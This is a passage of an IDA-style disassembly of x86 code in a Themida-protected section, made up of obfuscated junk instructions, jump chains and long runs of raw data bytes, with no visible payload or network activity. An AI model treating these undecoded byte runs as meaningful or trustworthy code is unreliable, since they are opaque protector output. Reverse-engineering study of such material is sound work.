dd 623Fh, 0BF7A7805h, 46B8E96Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_501A62: ; CODE XREF: Themida_:00509B79j sub al, 17h sub al, 0ECh mov ecx, [esp] add esp, 4 xor bl, al movzx eax, al mov dx, [esp] push 65D2h mov [esp], edx mov edx, esp push ebx mov ebx, 4 add edx, ebx push dword ptr [esp] pop ebx push esi mov esi, esp add esi, 4 push ebx mov ebx, 4 add esi, 71B81F87h add esi, ebx sub esi, 71B81F87h jmp loc_504EA1 ; --------------------------------------------------------------------------- dd 1FAECE81h, 0EEC15697h, 0FBDCE905h, 0FF68FFFFh, 5AFFFFFFh dd 703EED81h, 0D501467Bh, 703EC581h, 815A467Bh, 11C4B1C5h dd 8BE831E7h, 0C481242Ch, 4, 160BBE56h, 0BF577341h, 4B504D6Ah dd 46DCE9h, 0F7885800h, 24C4E95Ah, 3C8B0000h, 5487E924h dd 34FF0000h, 0E120E924h, 34FFFFFFh, 0C4815A24h, 4, 8904EC83h dd 0CFB22414h, 8AB65266h, 0CCE95B04h, 8100004Dh, 26C51BEFh dd 8BFE29F8h, 0C483243Ch, 0C6815D04h, 17FF6DC7h, 0EE81C601h dd 17FF6DC7h, 40B5C681h, 55527271h, 8F37E9h, 5305B400h dd 0FFFB5AE9h db 0FFh ; --------------------------------------------------------------------------- loc_501B5D: ; CODE XREF: Themida_:005097DFj push edi push ebx mov ebx, 6E661317h jmp loc_507FBE ; --------------------------------------------------------------------------- db 0C0h, 0EFh, 7 dd 80E4C780h, 0EBE92FC7h, 0FF000004h, 34FF2434h, 54575824h dd 1543E9h db 0 ; --------------------------------------------------------------------------- loc_501B85: ; CODE XREF: Themida_:005086FDj push 2EFBh mov [esp], esp push edx jmp loc_502069 ; --------------------------------------------------------------------------- db 68h dd 2BA2h, 56243C89h, 0D2561168h, 48A6E955h, 0A4BF0000h dd 29071912h, 0F7435FFBh, 39BE9D3h, 0EA830000h, 24148704h dd 4BC7E9h, 0E9C32900h, 0FFFFECC6h, 0BA4E681h, 0F6812EB6h dd 29127398h, 295EF189h, 0EB8959CDh, 0E92434FFh, 5090h dd 50243C8Bh, 913EE9h, 241C8B00h, 6804C483h, 3E53h, 50241489h dd 9BE9C8B0h, 81000047h, 49249CCBh, 83CB817Ch, 814B783Ah dd 804705F3h, 8EBC13Bh, 0FFFC34E9h, 295B59FFh, 0E7B5E9CFh dd 0C481FFFFh, 4, 0FFD5FEE9h, 0FED1F6FFh, 0B75366C9h, 0E9F90885h dd 253Ch, 19F8E952h, 8DBB0000h, 0C169C16Eh, 0CB8107E3h dd 7FFF63F8h, 0FFDB3AE9h, 439EBDFFh, 5BE90FAFh db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_501C63: ; CODE XREF: Themida_:005081FBj pop edx jmp loc_4FFA23 ; --------------------------------------------------------------------------- a_1S49 db '_1[49',0 align 2 loc_501C72: ; CODE XREF: Themida_:00507AB2j push esi mov esi, 58D57C01h jmp loc_50882C ; --------------------------------------------------------------------------- loc_501C7D: ; CODE XREF: Themida_:00509057j mov esi, [esp] add esp, 4 jmp loc_5028A1 ; --------------------------------------------------------------------------- loc_501C8B: ; CODE XREF: Themida_:00504177j sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_50580C ; --------------------------------------------------------------------------- db 87h, 0D1h, 0F7h dd 81D187D2h, 0FF5AFEF1h, 59C801A1h, 751F68h, 0E5DEE900h dd 5D68FFFFh, 89000009h, 61E92424h, 66000031h, 663B39BEh dd 348BF589h, 4C48324h, 4E920566h, 83E80166h, 348904ECh dd 70BE6624h, 0C6816642h, 5660C22h, 0E8E966FCh db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_501CFB: ; CODE XREF: Themida_:00501248j movzx cx, ah push small 0AB9h jmp loc_4FFB2D ; --------------------------------------------------------------------------- dd 240C8B66h, 68E78957h, 1564h, 51240489h, 0AE47A868h dd 0C1815913h, 0EC51B85Ch, 0CA895257h, 895AD789h, 0C8B5FF8h dd 4C48324h, 8358C701h, 148904ECh, 2BA24h, 0D7010000h dd 74FF575Ah, 3C8B0424h, 4C48324h, 5C24048Fh, 24048B66h dd 4EC81h, 34890000h, 4EC8124h, 0E9000000h, 781Ch, 0E92434FFh dd 6B45h, 68A9EB80h, 478Dh, 0B6241489h, 37C380C1h, 5AE7E9h db 0 ; --------------------------------------------------------------------------- loc_501D89: ; CODE XREF: Themida_:005094DFj add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_5065E7 ; --------------------------------------------------------------------------- loc_501D97: ; CODE XREF: Themida_:0050AE9Aj add ebp, 4 xchg ebp, [esp] pop esp xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_507582 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFD30Dh, 0E924048Fh, 31B5h, 0F7241489h, 2C832414h dd 0F75AFF24h, 0EA814AD2h, 7C4506DAh, 575AD001h, 0FC0B951h dd 0C2BF6E2Fh, 0E96E2F0Fh, 41BFh, 2D7FB951h, 0B9E918FCh dd 5B00000Bh, 1451E9h, 0E8E98100h, 2999D100h, 0F28159CAh dd 5CE1555Ah, 6EB7BF57h, 0DFF75A5Fh, 0DE8EC781h, 0C2818104h dd 2A7B5DC5h, 69E9FA01h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_501E1F: ; CODE XREF: Themida_:0050331Aj push edi mov edi, 2CD5709Fh mov esi, 59D988CFh sub esi, edi jmp loc_509FB9 ; --------------------------------------------------------------------------- db 5Ch, 89h, 0Ch dd 81E18924h, 4C1h, 4C18100h, 87000000h, 0B2E9240Ch, 57FFFFE9h dd 93124F68h, 814F5F74h, 8B4767C7h, 0D73CE95Ch, 4CBDFFFFh dd 817F0237h, 0CD2479CDh, 0AEF58106h, 814AA612h, 0E14533EDh dd 51D5294Bh, 0E14533B9h, 0E9CD014Bh, 0FFFFED40h, 81240C8Bh dd 4C4h, 37BEE900h, 0B9BF0000h, 4746E475h, 726E9h db 0 ; --------------------------------------------------------------------------- loc_501E9D: ; CODE XREF: Themida_:00507495j mov ebx, [esp] add esp, 4 pop edx jmp loc_50AD9D ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 24048B66h, 0E9E68956h, 8206h, 4C481h, 0CAE90000h, 5DFFFFFAh dd 0E9241C8Bh, 6A60h, 6030E681h, 0DBE93BD0h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_501ED7: ; CODE XREF: Themida_:00508AD2j mov edx, 8EF1B0FCh jmp loc_5053E7 ; --------------------------------------------------------------------------- db 0E9h, 0DBh, 0D1h dd 0EE89FFFFh, 8FB9E9h, 0BB68AD00h, 0E9000028h, 2679h dd 5277E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_501EFE: ; CODE XREF: Themida_:00503BDCj add ebp, ecx add ebp, 250069Dh mov ecx, [esp] jmp loc_4FF8DD ; --------------------------------------------------------------------------- loc_501F0E: ; CODE XREF: Themida_:005042A7j mov ecx, 2F357C4Ch or edx, ecx pop ecx shl edx, 1 shl edx, 3 jmp loc_504485 ; --------------------------------------------------------------------------- dd 0EFBE5659h, 8331A536h, 0D6F701C6h, 8105EEC1h, 1FA240C6h dd 0E9F0314Ch, 98Fh, 83EB8853h, 0C8904ECh, 88D98824h, 595B59CEh dd 8D9E9h, 0FFEB8100h, 814AC406h, 0D60DF6EBh, 5BDD01F7h dd 0ED81F529h, 2E5D05ADh, 0FFF404E9h, 0E9DAF7FFh, 0FFFFE8EEh dd 81FFC583h, 0C823AFF5h, 246C294Ch, 663EE908h, 0C4830000h dd 2DE82904h, 57C73AB6h, 0B0BF575Dh, 5343B42Ch, 3C7EE9h dd 1EE95C00h, 8BFFFFD1h, 0C483241Ch, 47C52D04h, 0D8013942h dd 0FFEA83E9h, 7E1C0FFh, 0E90FF180h, 27ACh, 0E9DEB551h dd 5F45h ; --------------------------------------------------------------------------- loc_501FC8: ; CODE XREF: Themida_:0050A93Aj pop ecx push edi mov edi, esp push esi jmp loc_502952 ; --------------------------------------------------------------------------- dw 0BE56h dd 6039733Ch, 15EF789h, 243C8BFEh, 0E9E08950h, 0FFFFE7C6h ; --------------------------------------------------------------------------- loc_501FE8: ; CODE XREF: Themida_:00500C81j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edx jmp loc_506770 ; --------------------------------------------------------------------------- db 83h dd 40504C4h, 87000000h, 525C2404h, 0D6FC1BAh, 31BF576Bh dd 0E938492Eh, 2C64h, 6082BB53h, 53555EB9h, 5DEA895Dh dd 81241C8Bh, 4C4h, 0E2814200h, 28C04BD8h, 2B13F281h, 684775h dd 0E9000000h, 7285h, 4C181h, 0E9810000h, 4, 5AE3E9h, 24348B00h dd 0D752E950h, 0CFFEFFFFh, 62A8E9h db 0 ; --------------------------------------------------------------------------- loc_502069: ; CODE XREF: Themida_:00501B8Ej mov edx, 4 add [esp+4], edx pop edx pop ecx push eax mov eax, 22B6381Ah jmp loc_507FDC ; --------------------------------------------------------------------------- aNscv db 'C',0 db 0 ; --------------------------------------------------------------------------- loc_502085: ; CODE XREF: Themida_:005002E2j pop ebx pop edi mov ebp, edx pop edx and eax, ebp mov ebp, [esp] add esp, 4 shr eax, 0Bh xor ecx, eax push 481Dh jmp loc_505219 ; --------------------------------------------------------------------------- aXms7 db '!XM7$',0 dd 4896600h, 0D00BE924h, 885CFFFFh, 1DE1E9E6h, 0FEE90000h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5020C3: ; CODE XREF: Themida_:004FF888j mov [esp], eax mov eax, esp add eax, 4 push ebp push eax mov eax, 4 push eax pop ebp pop eax add eax, ebp pop ebp xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mul ecx push 3887h mov [esp], edx push eax pushf jmp loc_4FF0C1 ; --------------------------------------------------------------------------- db 8Bh dd 9EE9240Ch, 8300003Ah, 348904ECh, 39CCBE24h, 7429209Dh dd 0E95E0424h, 0FFFFCFADh, 33241C31h, 0F75C241Ch, 26DEE9E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_502122: ; CODE XREF: Themida_:00507EC3j mov [esp], edi mov edi, 4 add ebx, 207747D8h jmp loc_501957 ; --------------------------------------------------------------------------- loc_502135: ; CODE XREF: Themida_:0050A960j mov eax, ebp mov ebp, [esp] jmp loc_5093AB ; --------------------------------------------------------------------------- db 0FFh dd 81582434h, 4ECh, 241C8900h, 8B40E9h db 0 ; --------------------------------------------------------------------------- loc_502151: ; CODE XREF: Themida_:00504523j sub edx, 7860753Eh jmp loc_4FF0C1 ; --------------------------------------------------------------------------- dd 850482B8h, 47E2D1Ah, 0C7811A85h, 328D0304h, 0D8E9C701h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_502173: ; CODE XREF: Themida_:005013B9j add ecx, 42E117CCh sub edi, ecx pop ecx add eax, edi pop edi sub esp, 4 mov [esp], ebx push edx mov edx, 34201051h sub edx, 572E5796h jmp loc_502FBD ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 4BFh, 0FFFB0100h, 96E92434h, 55000063h, 7B24BE56h, 2ABD0B7Ch dd 0E91B7726h, 5A93h, 7553C781h, 0C729312Fh, 7553EF81h dd 6EE9312Fh db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5021CF: ; CODE XREF: Themida_:00509A47j add esi, 4 xchg esi, [esp] jmp loc_4FFF51 ; --------------------------------------------------------------------------- db 80h, 0E1h, 0A4h dd 805CE980h, 0D9F681C9h, 8188F180h, 2ECh, 4896600h, 42B424h dd 2C5866E1h, 30B25229h, 0F280DAF6h, 0E9D028EAh, 3C15h ; --------------------------------------------------------------------------- loc_50220C: ; CODE XREF: Themida_:004FFA88j mov edx, 60CB0190h mov ebx, edx jmp loc_50A693 ; --------------------------------------------------------------------------- dd 81241C8Bh, 4C4h, 4EC8300h, 50243489h, 0D3EE9h, 0DF78100h dd 0E9E568D0h, 781h, 5EE9F001h, 8800004Ch, 0BAE95BD8h db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_502247: ; CODE XREF: Themida_:005047A5j sub edi, 356B7C88h and edi, 12EB2D41h add edi, 578B04CBh jmp loc_5081DB ; --------------------------------------------------------------------------- dw 1C89h dd 30FCBB24h, 0A2E95FE1h, 0C100008Ah, 0F58105E5h, 0FDE77DA0h dd 8FE9E989h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50227B: ; CODE XREF: Themida_:00500415j add ebp, ebx add ebp, 693D418Ch pop ebx push edx mov edx, 4 jmp loc_507B34 ; --------------------------------------------------------------------------- loc_50228F: ; CODE XREF: Themida_:0050AD3Bj sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi add edi, 4 jmp loc_506DA8 ; --------------------------------------------------------------------------- dd 0A2B2C681h, 17E99EFDh db 6Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5022B3: ; CODE XREF: Themida_:00508A9Ej mov ebx, [esp] push ecx push esp pop ecx jmp loc_509CF5 ; --------------------------------------------------------------------------- dw 0CC88h dd 12FDE959h, 5590000h, 4, 5C240487h, 5D240481h, 113E67Bh dd 0E9552404h, 767Bh, 46852h, 0E95A0000h, 0FFFFF5CAh, 5C243487h dd 885AE9h, 24048B00h, 2C04C483h, 56F0005Fh, 0C681E689h dd 4, 2EE81h, 6FE90000h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_502313: ; CODE XREF: Themida_:0050AF1Fj add edi, eax pop eax jmp loc_5042EB ; --------------------------------------------------------------------------- aSJ db ')J',0 align 2 aRitsvi db 'Rv',0 align 2 dw 0C89h dd 1BF9B924h, 49E94D14h, 8100008Ah, 4C7h, 4C78300h, 31243C33h dd 3C33243Ch, 4200E924h, 0EC810000h, 4, 74E954h, 0CB290000h dd 6FEAE9h db 0 ; --------------------------------------------------------------------------- loc_502361: ; CODE XREF: Themida_:004FF629j add ebx, 159251D7h mov edx, ebx mov ebx, [esp] add esp, 4 sub ebx, edx mov edx, [esp] add esp, 4 pop dword ptr [eax] jmp loc_4FF0C1 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aSeu db '$U',0 align 2 dw 0E7C0h dd 3AC78005h, 1C8BF830h, 5E545624h, 44EE9h, 0CEE95D00h db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5023A3: ; CODE XREF: Themida_:004FFBE6j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp loc_5023AD: ; CODE XREF: Themida_:004FFBC5j ; Themida_:00509BF0j push 197Eh mov [esp], ebx jmp loc_506711 ; --------------------------------------------------------------------------- dw 0CA01h dd 2E2C159h, 0D6F281h, 5F52C6A9h, 73A7E95Ah, 48F0000h dd 87C5E924h, 0EC830000h, 24248904h, 4240481h, 59000000h dd 8486E956h, 0B1510000h, 7E9C0A0h, 0FFDB2DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5023F5: ; CODE XREF: Themida_:00503D85j mov ecx, esp jmp loc_509264 ; --------------------------------------------------------------------------- dd 8B240C87h, 8B662424h, 0EC832404h, 24348904h, 0FFF8B1E9h dd 0FE5AB5FFh, 0C0D5F6CDh, 0B8E907E5h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_50241F: ; CODE XREF: Themida_:0050197Bj dec ebp sub ebp, 359C4F7Fh jmp loc_50A8F2 ; --------------------------------------------------------------------------- db 87h dd 87D5F7EAh, 241487EAh, 5524048Bh, 0C5815D54h, 4, 447BE9h dd 24048F00h, 2404205Ch, 0CC6FE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_502452: ; CODE XREF: Themida_:00500EB5j push 0B86h mov [esp], edi jmp loc_50701E ; --------------------------------------------------------------------------- db 0BFh dd 4, 335FFA01h, 14312414h, 24143324h, 0E924248Bh, 70F2h dd 0D80097B3h, 4583E9h db 0 ; --------------------------------------------------------------------------- loc_502481: ; CODE XREF: Themida_:00506A19j pop edx add edi, 4 xchg edi, [esp] pop esp add edx, 4 push edx jmp loc_50A3EA ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 0E8h dd 0F6FFFFCFh, 28A6E9DFh, 34870000h, 6596E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5024AA: ; CODE XREF: Themida_:0050A8F5j shr ebx, 4 jmp loc_506A1E ; --------------------------------------------------------------------------- dw 0C681h dd 10E844CAh, 30C4BD55h, 0EE311A6Dh, 3BF6815Dh, 17B947Ah dd 148B5EF0h, 0BAE95124h, 53000072h, 0C9296D68h, 68E95B4Fh dd 66000059h, 9C2424D3h, 0FFCBD8E9h, 348758FFh, 2C875C24h dd 24248B24h, 0E99CC138h, 0FFFFCBC5h, 45DBABEh, 81DEF70Eh dd 0F279DBE6h, 52EE813Ch, 29E114FCh, 87585EF3h, 248B241Ch dd 48B6624h, 4EC8124h, 89000000h, 0E9542434h, 0FFFFF37Dh ; --------------------------------------------------------------------------- loc_50252C: ; CODE XREF: Themida_:0050A353j pop esi push edx mov edx, 787E283Fh push edi mov edi, 4F57775Ah sub edi, 0DBCA1C0Ah and edx, edi jmp loc_50AED1 ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFFD376h, 2D5BD801h, 1E454069h, 424D142Dh, 45E2D17h dd 0EC832DA2h, 0EDFDE904h, 0C481FFFFh, 4, 8904EC83h, 8E9242Ch dd 0FF000075h, 0E99C2404h, 0FFFFCB41h, 28C8E95Ch, 0FD290000h dd 83243C8Bh, 0EB2904C4h, 0C381595Dh, 4, 8B241C87h, 0B70F2424h dd 595451C8h, 0FFDAFFE9h, 0FBB53FFh, 81417267h, 9F61EFEBh dd 4E3C140h, 9B2F381h, 72E96B48h, 0C1000053h, 0C78105EFh dd 2BF51420h, 2654C781h, 0D7F73E0Bh, 5E26C781h, 0FD016C37h dd 52243C8Bh, 0C281E289h, 4, 4C281h, 14870000h, 0C5835C24h dd 242C8704h, 0E924248Bh, 12A3h ; --------------------------------------------------------------------------- loc_502600: ; CODE XREF: Themida_:00500CC0j mov [esp], ebx push 1D93h push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop ebx jmp loc_4FFF3C ; --------------------------------------------------------------------------- dd 0EFC1665Eh, 0EF816605h, 81666681h, 662812EFh, 92E9F989h dd 55000006h, 0EE1367BDh, 5EED8131h, 81435D43h, 0B86560F5h dd 8FB85018h, 0E94EEC4Eh, 0FFFFFA54h ; --------------------------------------------------------------------------- loc_502650: ; CODE XREF: Themida_:00502A38j sub eax, 401D51E0h jmp loc_509CA9 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 4EF81h, 6EE90000h, 6800002Ch, 73F9h, 5F1B68h, 8068E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50267A: ; CODE XREF: Themida_:0050A3EFj pop dword ptr [esp] mov esp, [esp] jmp loc_50A610 ; --------------------------------------------------------------------------- loc_502685: ; CODE XREF: Themida_:00508099j and ebx, ecx pop ecx add ebx, 0C0B922BDh sub esi, 2685405Ch sub esi, ebx jmp loc_504E7C ; --------------------------------------------------------------------------- db 81h dd 2F21BAEFh, 247C01D9h, 0E95B5F08h, 0FFFFCA15h, 24048B66h dd 13BA68h, 240C8900h, 240C8B54h, 4C481h, 0E9550000h, 342Bh dd 7EF568h, 240C8900h, 0BB53E189h, 4, 8CE9D901h, 81000015h dd 2C7h, 9F6800h, 3C890000h, 2474FF24h, 243C8B04h, 1EE9E9h db 0 ; --------------------------------------------------------------------------- loc_5026F9: ; CODE XREF: Themida_:005001D7j add esp, 4 jmp loc_4FF0C1 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 0FFE4F6E9h db 0FFh ; --------------------------------------------------------------------------- loc_502709: ; CODE XREF: Themida_:00509181j add ebp, 0FF0A9589h mov ebx, ebp jmp loc_507748 ; --------------------------------------------------------------------------- loc_502716: ; CODE XREF: Themida_:0050AAC9j add esp, 4 pop dword ptr [eax] push ebp mov ebp, 54A32CE2h or ebp, 4487179Bh jmp loc_507D15 ; --------------------------------------------------------------------------- dd 9D1C77FFh, 1CD25966h, 86E99C24h, 81FFFFC9h, 0C44D7EE3h dd 0EAB5E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_502746: ; CODE XREF: Themida_:00506EE1j pop esp and ecx, ebp push dword ptr [esp] pop ebp add esp, 4 shr ecx, 0Ah push ebx push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push edi mov edi, esp add edi, 4 jmp loc_506FFD ; --------------------------------------------------------------------------- dw 0CE81h dd 762A3CA9h, 6163BD55h, 0EDC1183Bh, 5EDC103h, 4AADF581h dd 0EE210817h, 0C7EE815Dh, 56080E30h, 57242C81h, 0E97D9C54h dd 8663h ; --------------------------------------------------------------------------- loc_50279C: ; CODE XREF: Themida_:0050959Fj sub esp, 4 jmp loc_505203 ; --------------------------------------------------------------------------- loc_5027A4: ; CODE XREF: Themida_:00508CAFj xchg ah, ch add ch, 29h push cx not byte ptr [esp+1] mov cx, [esp] push edi mov edi, esp add edi, 4 add edi, 2 jmp loc_5051A7 ; --------------------------------------------------------------------------- loc_5027C4: ; CODE XREF: Themida_:00508660j push esi mov esi, 26EB6221h jmp loc_503049 ; --------------------------------------------------------------------------- db 0C1h dd 0F58104EDh, 0DB12E8Ah, 62008B05h, 31EDE93Dh, 34330000h dd 0F3E95C24h, 81FFFFF0h, 4C6h, 4C68300h, 8B243487h, 5F682424h dd 0E9000062h, 44Bh ; --------------------------------------------------------------------------- loc_502804: ; CODE XREF: Themida_:00508FABj mov esi, 4 push esi mov esi, 76176292h jmp loc_506910 ; --------------------------------------------------------------------------- dd 69B252h, 24148BD3h, 4C481h, 0EB800000h, 4E00E91Eh, 0F5880000h dd 8124148Bh, 4C4h, 6FE95200h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50283B: ; CODE XREF: Themida_:0050A7EFj sub ecx, eax pop eax xchg ecx, [esp] pop esp mov [esp], esi push ebx mov ebx, 1 mov esi, ebx mov ebx, [esp] add esp, 4 and eax, esi jmp loc_504B16 ; --------------------------------------------------------------------------- dw 1489h dd 0FD885124h, 5359EE88h, 82E9F788h, 59000041h, 2EAB68h dd 0DEEDE900h, 0C381FFFFh, 0FDC7006h, 0FFDC31E9h, 53E589FFh dd 0DD3E9h, 4BB00h, 0BA520000h, 4C9D2B75h, 77B6E956h, 11B50000h dd 777EE9h db 0 ; --------------------------------------------------------------------------- loc_5028A1: ; CODE XREF: Themida_:00501C86j shr eax, 0Ch xor eax, ecx xor eax, esi xor esi, eax jmp loc_5061CA ; --------------------------------------------------------------------------- db 5Bh dd 4C8FC181h, 0F9010AF4h, 4C8FE981h, 31FF0AF4h, 582434FFh dd 76E95450h, 5EFFFFE8h, 0DECC592Dh, 0E9C20121h, 65F9h dd 4244481h, 370F5C53h, 66EEE9h, 5AD50800h, 5EB15152h dd 3BDAE9h, 0A2EB8100h, 5648CD51h, 180BC7BEh, 0E1BF577Ch dd 0E953E170h, 0FFFFE6C1h, 39E953ACh, 5000081h, 96251237h dd 3158C231h, 1336E9D1h, 815A0000h, 7C6101E3h, 15C38129h dd 43314962h, 57A3E381h, 0F38168FAh, 30493895h, 15BD801h dd 7B972DD8h, 0E1E910F1h, 8B000024h, 0C4832414h, 0EFAE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_502952: ; CODE XREF: Themida_:00501FCDj mov esi, 4 add edi, esi pop esi push esi mov esi, 4 add edi, esi pop esi xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push edi jmp loc_503B6F ; --------------------------------------------------------------------------- db 1, 0E9h, 8Bh aQiswskp db ',$QWP',0 dw 0FE00h dd 0CB4EE9CBh, 0C483FFFFh, 2CC28104h, 52560B3Ch, 0CEE9E289h dd 8100005Fh, 0AC2C13F5h, 0E9EA2163h, 0FFFFF550h, 2D7BF181h dd 0CB0118FCh, 55505559h, 8210E9h, 5FFA8900h, 0B5AE9h dd 52C80100h, 3A14ABBAh, 2EAC16Ch, 0D2F7DAF7h, 3F06EA81h dd 0D001A37Fh, 7118055Ah, 6859496Ch, 48Bh, 89240489h, 405E0h dd 0E8830000h, 0ACE904h, 0D8F70000h, 426D1505h, 0CDBF572Fh dd 0E9708046h, 256Eh, 582434FFh, 326FE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_502A12: ; CODE XREF: Themida_:00505BC8j mov edi, edx push 1F28h mov [esp], edi push edx mov edx, 401D51E0h add dword ptr [esp+4], 3B4A2EB2h add [esp+4], edx sub dword ptr [esp+4], 3B4A2EB2h pop edx pop eax jmp loc_502650 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E1895158h, 4C181h, 0EC830000h, 24348904h, 5071DDBEh dd 8337E904h, 0B9510000h, 4, 91E9CD01h, 66000038h, 0E3B7535Ah dd 0AEE95066h, 31FFFFE4h, 54E952D2h, 81000036h, 4ECh, 240C8900h dd 0DF57BAB9h, 0EA19E941h, 0ED81FFFFh, 67516652h, 8102EDC1h dd 4CFA82EDh, 4411E92Ah, 4870000h, 2C895C24h, 100BD24h dd 0E8210000h, 83242C8Bh, 2C8904ECh, 28E95424h, 80FFFFD8h dd 1EE9DEC2h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_502AC7: ; CODE XREF: Themida_:0050009Aj sub esi, 7A5966BAh jmp loc_506021 ; --------------------------------------------------------------------------- loc_502AD2: ; CODE XREF: Themida_:00503AB9j xchg ecx, [esp] pop esp push ebp mov ebp, 4F446FC9h xor eax, ebp pop ebp push 1AD1h jmp loc_508689 ; --------------------------------------------------------------------------- loc_502AE9: ; CODE XREF: Themida_:005053F4j mov ebx, [esp] add esp, 4 and eax, esi mov esi, [esp] sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 jmp loc_500F02 ; --------------------------------------------------------------------------- db 5Ch, 51h, 54h dd 83240C8Bh, 0C18104C4h, 4, 7EA7B850h, 0EC0D2620h, 2D69CB3Fh dd 6FEB7FEBh, 1140C181h, 0E9810575h, 61609D3h, 0FFE810E9h dd 4EE83FFh, 0EA0E9h, 3C77FF00h, 4425E9h, 243C3100h, 5C243C33h dd 24043166h, 5017E99Ch, 0CEFE0000h, 285FF680h, 24148BF3h dd 8004C483h, 0EB80A9C3h, 0EEA1E9C0h, 46E9FFFFh, 1FFFFC5h dd 4CF5E9FAh, 0E9590000h, 0FFFFC69Ah, 2414895Ch, 24148B54h dd 4A6868h, 240C8900h, 0BA52E189h, 4E73405Ch, 5293F281h dd 0C281566Fh, 27474BC8h, 5E93EA81h, 0D1013F63h, 4C1835Ah dd 0E9240C87h, 1211h, 394A68h, 24148900h, 0FFC4F4E9h, 0BACD81FFh dd 0F76B9671h, 22E581DDh, 0E954FA24h, 68Ah, 0FFC4DCE9h dd 8719B8FFh, 0C229E5B2h, 0E9D00158h, 7C74h, 7F514FB9h dd 6DA7E93Dh, 0E9C10000h, 0E8C1E908h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_502C06: ; CODE XREF: Themida_:0050AD9Fj mov edi, [esp] add esp, 4 shr eax, 0Eh xor eax, ecx push 6725h mov [esp], eax xchg ecx, [esp] push 5C9Eh mov [esp], ecx jmp loc_509A28 ; --------------------------------------------------------------------------- dd 0B027BF57h, 0FB01EC0Dh, 0D9C2E95Fh, 5759FFFFh, 0C781E789h dd 4, 4C781h, 0C1E90000h, 8900003Eh, 97B1240Ch, 240AB050h dd 0E9C02455h, 640Ah ; --------------------------------------------------------------------------- loc_502C60: ; CODE XREF: Themida_:0050555Aj pop esp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx jmp loc_507529 ; --------------------------------------------------------------------------- db 0BBh, 76h, 17h aKSkp db '',9,'p',0 dw 8100h dd 0B45E14F3h, 0EACB8155h, 0F7641F10h, 0B76856DBh, 5E0D2015h dd 83E6E9h, 66D80000h, 0DEB3535Bh, 0FF5BD800h, 81592434h dd 4C4h, 2EC8100h, 66000000h, 53241489h, 0F4B260B7h, 3E51E9h dd 52665F00h, 384DBA66h, 66D12166h, 0D1F7665Ah, 72E98166h dd 52BC687Bh, 14890000h, 37CEE924h, 15E0000h, 5BC281DAh dd 8B717614h, 4DE9241Ch, 81000039h, 4C4h, 5F545700h, 4C781h dd 0EF830000h, 243C8704h, 1041E9h, 1C875700h, 87D3F724h dd 3C8B241Ch, 4C48124h, 31000000h, 0E9F731FEh, 0FFFFEC04h dd 0C2F6815Eh, 89174807h, 0FA015EF7h, 2BDB685Fh, 4890000h dd 2721B824h, 11E926BAh, 81FFFFE9h, 8D0304EFh, 6E685832h dd 0E9000031h, 5BE1h, 0C3815B54h, 4, 23B768h, 24348900h dd 0AF6BE2BEh, 0E7BB533Ah, 0E96DFC3Fh, 6AFDh, 68575954h dd 4, 0FFDDCDE9h, 4C483FFh, 242C8B66h, 5102C483h, 0E6686657h dd 815F664Ch, 4ECh, 6478E900h, 62030000h, 2ED06838h, 54E90000h dd 68000023h, 4DDCh, 0FFD685E9h, 68C681FFh, 816EA00Ah dd 0D4239BC6h, 32E95B45h, 29FFFFF9h, 2434FFC7h, 0FC5E9h db 0 ; --------------------------------------------------------------------------- loc_502DD9: ; CODE XREF: Themida_:005094A3j add al, 8Ch push ebx jmp loc_5059F2 ; --------------------------------------------------------------------------- db 66h, 5, 3Ch dd 0C301664Ch, 1844E9h, 4C48300h, 53E18951h, 4BBh, 0E9D90100h dd 6069h, 704CE5BAh, 5AD03115h, 0E92434FFh, 537Eh, 43E68166h dd 6652660Ah, 661246BAh, 5A66D629h, 0B8CE8166h, 0D6F76627h dd 9F68166h, 4F70E900h, 0BA520000h, 68464996h, 46499ABBh 